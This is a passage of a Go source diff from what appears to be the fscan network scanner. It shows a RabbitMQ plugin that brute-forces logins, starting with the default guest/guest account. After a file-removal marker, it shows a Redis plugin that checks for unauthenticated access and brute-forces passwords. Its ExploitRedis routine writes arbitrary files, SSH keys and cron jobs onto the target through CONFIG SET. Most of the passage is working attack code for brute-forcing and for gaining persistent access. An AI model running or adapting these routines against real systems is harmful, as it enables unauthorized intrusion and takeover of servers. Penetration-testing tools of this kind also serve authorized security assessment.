|
||||
Credential RabbitMQCredential
|
||||
ErrorMsg string // 保存详细的错误信息
|
||||
}
|
||||
|
||||
// RabbitMQScan 执行 RabbitMQ 服务扫描
|
||||
func RabbitMQScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 先测试默认账号 guest/guest
|
||||
Common.LogDebug("尝试默认账号 guest/guest")
|
||||
defaultCredential := RabbitMQCredential{Username: "guest", Password: "guest"}
|
||||
defaultResult := tryRabbitMQCredential(ctx, info, defaultCredential, Common.Timeout, Common.MaxRetries)
|
||||
|
||||
if defaultResult.Success {
|
||||
saveRabbitMQResult(info, target, defaultResult.Credential)
|
||||
return nil
|
||||
} else if defaultResult.Error != nil {
|
||||
// 打印默认账号的详细错误信息
|
||||
Common.LogDebug(fmt.Sprintf("默认账号 guest/guest 失败,详细错误: %s", defaultResult.ErrorMsg))
|
||||
}
|
||||
|
||||
// 构建其他凭据列表
|
||||
var credentials []RabbitMQCredential
|
||||
for _, user := range Common.Userdict["rabbitmq"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
credentials = append(credentials, RabbitMQCredential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(Common.Userdict["rabbitmq"]), len(Common.Passwords), len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描
|
||||
result := concurrentRabbitMQScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||
if result != nil {
|
||||
// 记录成功结果
|
||||
saveRabbitMQResult(info, target, result.Credential)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("RabbitMQ扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了默认账号
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// concurrentRabbitMQScan 并发扫描RabbitMQ服务
|
||||
func concurrentRabbitMQScan(ctx context.Context, info *Common.HostInfo, credentials []RabbitMQCredential, timeoutSeconds int64, maxRetries int) *RabbitMQScanResult {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := Common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *RabbitMQScanResult, 1)
|
||||
workChan := make(chan RabbitMQCredential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
result := tryRabbitMQCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("RabbitMQ并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryRabbitMQCredential 尝试单个RabbitMQ凭据
|
||||
func tryRabbitMQCredential(ctx context.Context, info *Common.HostInfo, credential RabbitMQCredential, timeoutSeconds int64, maxRetries int) *RabbitMQScanResult {
|
||||
var lastErr error
|
||||
var errorMsg string
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &RabbitMQScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("全局超时"),
|
||||
Credential: credential,
|
||||
ErrorMsg: "全局超时",
|
||||
}
|
||||
default:
|
||||
if retry > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||
}
|
||||
|
||||
// 创建连接超时上下文
|
||||
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
success, err, detailErr := RabbitMQConn(connCtx, info, credential.Username, credential.Password)
|
||||
cancel()
|
||||
|
||||
if success {
|
||||
return &RabbitMQScanResult{
|
||||
Success: true,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
errorMsg = detailErr
|
||||
|
||||
// 打印详细的错误信息,包括所有原始错误信息
|
||||
Common.LogDebug(fmt.Sprintf("凭据 %s:%s 失败,错误详情: %s",
|
||||
credential.Username, credential.Password, errorMsg))
|
||||
|
||||
if err != nil {
|
||||
// 可以根据错误信息类型来决定是否需要重试
|
||||
// 例如,如果错误是认证错误,则无需重试
|
||||
if strings.Contains(errorMsg, "ACCESS_REFUSED") {
|
||||
Common.LogDebug("认证错误,无需重试")
|
||||
break
|
||||
}
|
||||
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||
break // 不需要重试的错误
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &RabbitMQScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
Credential: credential,
|
||||
ErrorMsg: errorMsg,
|
||||
}
|
||||
}
|
||||
|
||||
// RabbitMQConn 尝试 RabbitMQ 连接
|
||||
func RabbitMQConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error, string) {
|
||||
host, port := info.Host, info.Ports
|
||||
|
||||
// 构造 AMQP URL
|
||||
amqpURL := fmt.Sprintf("amqp://%s:%s@%s:%s/", user, pass, host, port)
|
||||
|
||||
// 创建结果通道
|
||||
resultChan := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
detailErr string
|
||||
}, 1)
|
||||
|
||||
// 在协程中尝试连接
|
||||
go func() {
|
||||
// 配置连接
|
||||
config := amqp.Config{
|
||||
Dial: func(network, addr string) (net.Conn, error) {
|
||||
dialer := &net.Dialer{Timeout: time.Duration(Common.Timeout) * time.Second}
|
||||
return dialer.DialContext(ctx, network, addr)
|
||||
},
|
||||
}
|
||||
|
||||
// 尝试连接
|
||||
conn, err := amqp.DialConfig(amqpURL, config)
|
||||
|
||||
if err != nil {
|
||||
detailErr := err.Error()
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
detailErr string
|
||||
}{false, err, detailErr}:
|
||||
}
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
detailErr string
|
||||
}{true, nil, ""}:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或上下文取消
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result.success, result.err, result.detailErr
|
||||
case <-ctx.Done():
|
||||
return false, ctx.Err(), ctx.Err().Error()
|
||||
}
|
||||
}
|
||||
|
||||
// saveRabbitMQResult 保存RabbitMQ扫描结果
|
||||
func saveRabbitMQResult(info *Common.HostInfo, target string, credential RabbitMQCredential) {
|
||||
successMsg := fmt.Sprintf("RabbitMQ服务 %s 连接成功 用户名: %v 密码: %v",
|
||||
target, credential.Username, credential.Password)
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "rabbitmq",
|
||||
"username": credential.Username,
|
||||
"password": credential.Password,
|
||||
"type": "weak-password",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
}
|
||||
@@ -1,945 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
dbfilename string // Redis数据库文件名
|
||||
dir string // Redis数据库目录
|
||||
)
|
||||
|
||||
type RedisCredential struct {
|
||||
Password string
|
||||
}
|
||||
|
||||
type RedisScanResult struct {
|
||||
Success bool
|
||||
IsUnauth bool
|
||||
Error error
|
||||
Credential RedisCredential
|
||||
}
|
||||
|
||||
func RedisScan(info *Common.HostInfo) error {
|
||||
Common.LogDebug(fmt.Sprintf("开始Redis扫描: %s:%v", info.Host, info.Ports))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
|
||||
// 先尝试无密码连接
|
||||
resultChan := make(chan *RedisScanResult, 1)
|
||||
go func() {
|
||||
flag, err := RedisUnauth(ctx, info)
|
||||
if flag && err == nil {
|
||||
resultChan <- &RedisScanResult{
|
||||
Success: true,
|
||||
IsUnauth: true,
|
||||
Error: nil,
|
||||
Credential: RedisCredential{Password: ""},
|
||||
}
|
||||
return
|
||||
}
|
||||
resultChan <- nil
|
||||
}()
|
||||
|
||||
// 等待无密码连接结果或超时
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
if result != nil && result.Success {
|
||||
Common.LogSuccess(fmt.Sprintf("Redis无密码连接成功: %s", target))
|
||||
|
||||
// 保存未授权访问结果
|
||||
scanResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "redis",
|
||||
"type": "unauthorized",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(scanResult)
|
||||
|
||||
// 如果配置了写入功能,进行漏洞利用
|
||||
if Common.RedisFile != "" || Common.RedisShell != "" || (Common.RedisWritePath != "" && Common.RedisWriteContent != "") {
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
|
||||
if err == nil {
|
||||
defer conn.Close()
|
||||
ExploitRedis(ctx, info, conn, "")
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
case <-ctx.Done():
|
||||
Common.LogError(fmt.Sprintf("Redis无密码连接测试超时: %s", target))
|
||||
return fmt.Errorf("全局超时")
|
||||
}
|
||||
|
||||
if Common.DisableBrute {
|
||||
Common.LogDebug("暴力破解已禁用,结束扫描")
|
||||
return nil
|
||||
}
|
||||
|
||||
// 使用密码爆破
|
||||
credentials := generateRedisCredentials(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试密码爆破 (总密码数: %d)", len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描
|
||||
result := concurrentRedisScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||
if result != nil {
|
||||
// 记录成功结果
|
||||
Common.LogSuccess(fmt.Sprintf("Redis认证成功 %s [%s]", target, result.Credential.Password))
|
||||
|
||||
// 保存弱密码结果
|
||||
scanResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "redis",
|
||||
"type": "weak-password",
|
||||
"password": result.Credential.Password,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(scanResult)
|
||||
|
||||
// 如果配置了写入功能,进行漏洞利用
|
||||
if Common.RedisFile != "" || Common.RedisShell != "" || (Common.RedisWritePath != "" && Common.RedisWriteContent != "") {
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
|
||||
if err == nil {
|
||||
defer conn.Close()
|
||||
|
||||
// 认证
|
||||
authCmd := fmt.Sprintf("auth %s\r\n", result.Credential.Password)
|
||||
conn.Write([]byte(authCmd))
|
||||
readreply(conn)
|
||||
|
||||
ExploitRedis(ctx, info, conn, result.Credential.Password)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
Common.LogError(fmt.Sprintf("Redis扫描全局超时: %s", target))
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("Redis扫描完成: %s", target))
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// generateRedisCredentials 生成Redis密码列表
|
||||
func generateRedisCredentials(passwords []string) []RedisCredential {
|
||||
var credentials []RedisCredential
|
||||
for _, pass := range passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", "redis", -1)
|
||||
credentials = append(credentials, RedisCredential{
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
return credentials
|
||||
}
|
||||
|
||||
// concurrentRedisScan 并发扫描Redis服务
|
||||
func concurrentRedisScan(ctx context.Context, info *Common.HostInfo, credentials []RedisCredential, timeoutMs int64, maxRetries int) *RedisScanResult {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := Common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *RedisScanResult, 1)
|
||||
workChan := make(chan RedisCredential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
result := tryRedisCredential(scanCtx, info, credential, timeoutMs, maxRetries)
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试密码: %s", i+1, len(credentials), cred.Password))
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("Redis并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryRedisCredential 尝试单个Redis凭据
|
||||
func tryRedisCredential(ctx context.Context, info *Common.HostInfo, credential RedisCredential, timeoutMs int64, maxRetries int) *RedisScanResult {
|
||||
var lastErr error
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &RedisScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("全局超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
default:
|
||||
if retry > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试密码: %s", retry+1, credential.Password))
|
||||
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||
}
|
||||
|
||||
success, err := attemptRedisAuth(ctx, info, credential.Password, timeoutMs)
|
||||
if success {
|
||||
return &RedisScanResult{
|
||||
Success: true,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
if err != nil {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||
break // 不需要重试的错误
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &RedisScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
// attemptRedisAuth 尝试Redis认证
|
||||
func attemptRedisAuth(ctx context.Context, info *Common.HostInfo, password string, timeoutMs int64) (bool, error) {
|
||||
// 创建独立于全局超时的单个连接超时上下文
|
||||
connCtx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutMs)*time.Millisecond)
|
||||
defer cancel()
|
||||
|
||||
// 结合全局上下文和连接超时上下文
|
||||
mergedCtx, mergedCancel := context.WithCancel(connCtx)
|
||||
defer mergedCancel()
|
||||
|
||||
// 监听全局上下文取消
|
||||
go func() {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
mergedCancel() // 全局超时会触发合并上下文取消
|
||||
case <-connCtx.Done():
|
||||
// 连接超时已经触发,无需操作
|
||||
}
|
||||
}()
|
||||
|
||||
connChan := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func() {
|
||||
success, err := RedisConn(info, password)
|
||||
select {
|
||||
case <-mergedCtx.Done():
|
||||
case connChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}:
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-connChan:
|
||||
return result.success, result.err
|
||||
case <-mergedCtx.Done():
|
||||
if ctx.Err() != nil {
|
||||
return false, fmt.Errorf("全局超时")
|
||||
}
|
||||
return false, fmt.Errorf("连接超时")
|
||||
}
|
||||
}
|
||||
|
||||
// RedisUnauth 尝试Redis未授权访问检测
|
||||
func RedisUnauth(ctx context.Context, info *Common.HostInfo) (flag bool, err error) {
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始Redis未授权检测: %s", realhost))
|
||||
|
||||
// 创建带超时的连接
|
||||
connCtx, cancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
connChan := make(chan struct {
|
||||
conn net.Conn
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
|
||||
select {
|
||||
case <-connCtx.Done():
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
}
|
||||
case connChan <- struct {
|
||||
conn net.Conn
|
||||
err error
|
||||
}{conn, err}:
|
||||
}
|
||||
}()
|
||||
|
||||
var conn net.Conn
|
||||
select {
|
||||
case result := <-connChan:
|
||||
if result.err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis连接失败 %s: %v", realhost, result.err))
|
||||
return false, result.err
|
||||
}
|
||||
conn = result.conn
|
||||
case <-connCtx.Done():
|
||||
return false, fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
defer conn.Close()
|
||||
|
||||
// 发送info命令测试未授权访问
|
||||
Common.LogDebug(fmt.Sprintf("发送info命令到: %s", realhost))
|
||||
if _, err = conn.Write([]byte("info\r\n")); err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis %s 发送命令失败: %v", realhost, err))
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
reply, err := readreply(conn)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis %s 读取响应失败: %v", realhost, err))
|
||||
return false, err
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(reply)))
|
||||
|
||||
// 检查未授权访问
|
||||
if !strings.Contains(reply, "redis_version") {
|
||||
Common.LogDebug(fmt.Sprintf("Redis %s 未发现未授权访问", realhost))
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// 发现未授权访问,获取配置
|
||||
Common.LogDebug(fmt.Sprintf("Redis %s 发现未授权访问,尝试获取配置", realhost))
|
||||
dbfilename, dir, err = getconfig(conn)
|
||||
if err != nil {
|
||||
result := fmt.Sprintf("Redis %s 发现未授权访问", realhost)
|
||||
Common.LogSuccess(result)
|
||||
return true, err
|
||||
}
|
||||
|
||||
// 输出详细信息
|
||||
result := fmt.Sprintf("Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// RedisConn 尝试Redis连接
|
||||
func RedisConn(info *Common.HostInfo, pass string) (bool, error) {
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("尝试Redis连接: %s [%s]", realhost, pass))
|
||||
|
||||
// 建立TCP连接
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("连接失败: %v", err))
|
||||
return false, err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置超时
|
||||
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("设置超时失败: %v", err))
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 发送认证命令
|
||||
authCmd := fmt.Sprintf("auth %s\r\n", pass)
|
||||
Common.LogDebug("发送认证命令")
|
||||
if _, err = conn.Write([]byte(authCmd)); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("发送认证命令失败: %v", err))
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
reply, err := readreply(conn)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return false, err
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("收到响应: %s", reply))
|
||||
|
||||
// 认证成功
|
||||
if strings.Contains(reply, "+OK") {
|
||||
Common.LogDebug("认证成功,获取配置信息")
|
||||
|
||||
// 获取配置信息
|
||||
dbfilename, dir, err = getconfig(conn)
|
||||
if err != nil {
|
||||
result := fmt.Sprintf("Redis认证成功 %s [%s]", realhost, pass)
|
||||
Common.LogSuccess(result)
|
||||
Common.LogDebug(fmt.Sprintf("获取配置失败: %v", err))
|
||||
return true, err
|
||||
}
|
||||
|
||||
result := fmt.Sprintf("Redis认证成功 %s [%s] 文件位置:%s/%s",
|
||||
realhost, pass, dir, dbfilename)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
}
|
||||
|
||||
Common.LogDebug("认证失败")
|
||||
return false, fmt.Errorf("认证失败")
|
||||
}
|
||||
|
||||
// ExploitRedis 执行Redis漏洞利用
|
||||
func ExploitRedis(ctx context.Context, info *Common.HostInfo, conn net.Conn, password string) error {
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始Redis漏洞利用: %s", realhost))
|
||||
|
||||
// 如果配置为不进行测试则直接返回
|
||||
if Common.DisableRedis {
|
||||
Common.LogDebug("Redis漏洞利用已禁用")
|
||||
return nil
|
||||
}
|
||||
|
||||
// 获取当前配置
|
||||
var err error
|
||||
if dbfilename == "" || dir == "" {
|
||||
dbfilename, dir, err = getconfig(conn)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("获取Redis配置失败: %v", err))
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
// 检查是否超时
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
}
|
||||
|
||||
// 支持任意文件写入
|
||||
if Common.RedisWritePath != "" && Common.RedisWriteContent != "" {
|
||||
Common.LogDebug(fmt.Sprintf("尝试写入文件: %s", Common.RedisWritePath))
|
||||
|
||||
// 提取目录和文件名
|
||||
filePath := Common.RedisWritePath
|
||||
dirPath := filepath.Dir(filePath)
|
||||
fileName := filepath.Base(filePath)
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("目标目录: %s, 文件名: %s", dirPath, fileName))
|
||||
|
||||
success, msg, err := writeCustomFile(conn, dirPath, fileName, Common.RedisWriteContent)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("文件写入失败: %v", err))
|
||||
} else if success {
|
||||
Common.LogSuccess(fmt.Sprintf("成功写入文件: %s", filePath))
|
||||
} else {
|
||||
Common.LogError(fmt.Sprintf("文件写入失败: %s", msg))
|
||||
}
|
||||
}
|
||||
|
||||
// 支持从本地文件读取并写入
|
||||
if Common.RedisWritePath != "" && Common.RedisWriteFile != "" {
|
||||
Common.LogDebug(fmt.Sprintf("尝试从文件 %s 读取内容并写入到 %s", Common.RedisWriteFile, Common.RedisWritePath))
|
||||
|
||||
// 读取本地文件内容
|
||||
fileContent, err := os.ReadFile(Common.RedisWriteFile)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("读取本地文件失败: %v", err))
|
||||
} else {
|
||||
// 提取目录和文件名
|
||||
dirPath := filepath.Dir(Common.RedisWritePath)
|
||||
fileName := filepath.Base(Common.RedisWritePath)
|
||||
|
||||
success, msg, err := writeCustomFile(conn, dirPath, fileName, string(fileContent))
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("文件写入失败: %v", err))
|
||||
} else if success {
|
||||
Common.LogSuccess(fmt.Sprintf("成功将文件 %s 的内容写入到 %s", Common.RedisWriteFile, Common.RedisWritePath))
|
||||
} else {
|
||||
Common.LogError(fmt.Sprintf("文件写入失败: %s", msg))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 支持向SSH目录写入密钥(向后兼容)
|
||||
if Common.RedisFile != "" {
|
||||
Common.LogDebug(fmt.Sprintf("尝试写入SSH密钥: %s", Common.RedisFile))
|
||||
success, msg, err := writekey(conn, Common.RedisFile)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("SSH密钥写入失败: %v", err))
|
||||
} else if success {
|
||||
Common.LogSuccess(fmt.Sprintf("SSH密钥写入成功"))
|
||||
} else {
|
||||
Common.LogError(fmt.Sprintf("SSH密钥写入失败: %s", msg))
|
||||
}
|
||||
}
|
||||
|
||||
// 支持写入定时任务(向后兼容)
|
||||
if Common.RedisShell != "" {
|
||||
Common.LogDebug(fmt.Sprintf("尝试写入定时任务: %s", Common.RedisShell))
|
||||
success, msg, err := writecron(conn, Common.RedisShell)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("定时任务写入失败: %v", err))
|
||||
} else if success {
|
||||
Common.LogSuccess(fmt.Sprintf("定时任务写入成功"))
|
||||
} else {
|
||||
Common.LogError(fmt.Sprintf("定时任务写入失败: %s", msg))
|
||||
}
|
||||
}
|
||||
|
||||
// 恢复数据库配置
|
||||
Common.LogDebug("开始恢复数据库配置")
|
||||
if err = recoverdb(dbfilename, dir, conn); err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis %v 恢复数据库失败: %v", realhost, err))
|
||||
} else {
|
||||
Common.LogDebug("数据库配置恢复成功")
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("Redis漏洞利用完成: %s", realhost))
|
||||
return nil
|
||||
}
|
||||
|
||||
// writeCustomFile 向指定路径写入自定义内容
|
||||
func writeCustomFile(conn net.Conn, dirPath, fileName, content string) (flag bool, text string, err error) {
|
||||
Common.LogDebug(fmt.Sprintf("开始向 %s/%s 写入内容", dirPath, fileName))
|
||||
flag = false
|
||||
|
||||
// 设置文件目录
|
||||
Common.LogDebug(fmt.Sprintf("设置目录: %s", dirPath))
|
||||
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dirPath))); err != nil {
|
||||
